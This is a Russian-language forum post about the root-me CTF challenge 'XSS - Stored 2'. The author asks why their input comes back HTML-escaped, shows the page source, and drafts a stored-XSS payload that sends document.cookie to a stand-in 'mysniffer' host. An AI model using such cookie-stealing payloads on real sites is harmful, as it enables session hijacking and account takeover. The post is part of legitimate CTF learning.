• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Вопрос насчет xss

InetTester

Green Team
21.10.2018
308
43
BIT
5
Добрый день,
прохожу по потихоньку CTF(XSS - Stored 2) на площадке root-me, во общем задача как всегда угнать cookies админа, так как насколько я понимаю в те времена когда создавали данный challenge еще не было флага 'http only'.
Итак нашел input который вроде пропускает все символы, что я сразу проверил сразу скормив ему:
Код:
'';!--"<fuck>=&{()}
Далее попробовал, вставить обычный alert()
Код:
<script>alert(1)</alert>
Нажимаю F12 в в соем любимом FireFox-e и иду смотреть куда именно он был засунут backend-ом...
HTML:
<html>
    <head>
    <title>Forum v0.002</title>
    <style>
.invite { color: green; }
.admin { color: red;}
    </style>
    </head>
   <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/template/s.css']/template/s.css[/URL]' media='all' /><iframe id='iframe' src='[URL='https://codeby.net/view-source%3Ahttps%3A//www.root-me.org/?page=externe_header']https://www.root-me.org/?page=externe_header[/URL]'></iframe>
        <h1>Forum v0.002</h1>
    <hr/>

    <div>
        <span><a href="[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/web-client/ch19/?section=admin']./?section=admin[/URL]">admin</a></span>
        <span style="text-align: right; float:right;">Statut / Status : <i class="invite">invite</i></span>
    </div><br/>

<b>message enregistré / content saved</b><br/><br/> <form action="" method="POST" />
            <div>
                Titre / Title&nbsp;:<br/>
                <input type="text" name="titre" value="" />
            </div><br/>
            <div>
                Message / Content&nbsp;:<br/>
                <textarea name="message" rows="3" cols="50"></textarea>
            </div>
            <div>
                <input type="submit" value="envoyer / send" />
            </div>
        </form><br/><br/>
        <div>
            <div>Posted messages:</div><br/>
        <span><b>Welcome</b></span><br/>
        <span>N'hésitez pas à me laisser un message / Don't hesitate, let a message</span><br/><hr/>
        <span><b>test2</b>&nbsp;(<i class="invite">status : invite</i>)</span><br/><span>&lt;script&gt;alert(1)&lt;/alert&gt;</span><br/><hr/>
<span><b>test0</b>&nbsp;(<i class="invite">status : invite</i>)</span><br/><span>'';!--&quot;&lt;fuck&gt;=&amp;{()}</span><br/><hr/>
        </div>
    </body>
</html>
И нахожу в конце свой js код:
HTML:
&lt;script&gt;alert(1)&lt;/alert&gt;

1. Насколько я понял браузер заменил найденные в моем запросе спец символы на специальные коды(буду рад если подскажите точное их название(вроде на S...)) которые по определению НИКОГДА им не будут обработаны/интерпретированы как HTML но будут успешно отображены браузером?

2. Если так то во что нужно перевести мой так называемый payload чтобы backend 'пропустил' все символы и чтобы они были обработаны как html/js код?

3. Еще вопрос(не уверен что задам его грамотно): в каком именно представлении браузеры способны обрабатывать данные?
Т.е я могу обычный html/js код закодировать в ascii, utf8, url или в HEX .. и браузер без проблем автоматически интерпретирует и покажет мой html?

Как только решу данную задачу то насколько я понял нужно будет закрыть все внешние теги и далее уже просто вставить мой js payload, на данный момент пришел к такому варианту:
Код:
</span></br></div><script>document.location.href = 'https://mysniffer?cookies =' + document.cookie;</script><div><span>

PS: В курсе что есть уже средства позволяющие автоматически проводить находить xss... интересует больше разобраться.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!